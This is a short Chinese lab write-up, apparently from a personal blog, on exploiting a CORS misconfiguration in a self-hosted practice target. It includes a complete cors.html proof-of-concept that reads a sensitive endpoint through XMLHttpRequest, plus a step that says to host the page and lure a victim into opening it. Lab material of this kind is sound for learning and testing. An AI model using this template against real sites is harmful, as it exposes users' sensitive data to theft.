我是使用kali虚拟机搭建的靶场，具体搭建步骤可以看我之前的博客内容。
访问靶机地址，打开java反序列化的
点进去后是如图的页面，随便输入一信息。
可以看到敏感信息直接显示在了页面上。
访问192.168.189.141:8080/cors1，可以看到敏感信息直接显示到了页面上。
抓包查看到有cors1漏洞
将以下代码保存为一个cors.html文件，诱惑受害者点击
<html><head><script type="text/javascript">// 当前窗口加载完毕,执行cors函数window.onload = function cors() {// 初始化一个xhttp变量var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function () {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = alert(this.responseText);}};xhttp.open("GET", "http://192.168.189.141:8080/cors1", true); // 只需要修改存在cors的url即可xhttp.withCredentials = false;xhttp.send();};</script></head>
<body><textarea id="demo"></textarea>
</body>
</html>利用web服务器
将脚本放在web服务器上，将url发给受害者。但是没有受害者，我们自己模拟一下受害者访问url地址172.16.1.65/cors.html
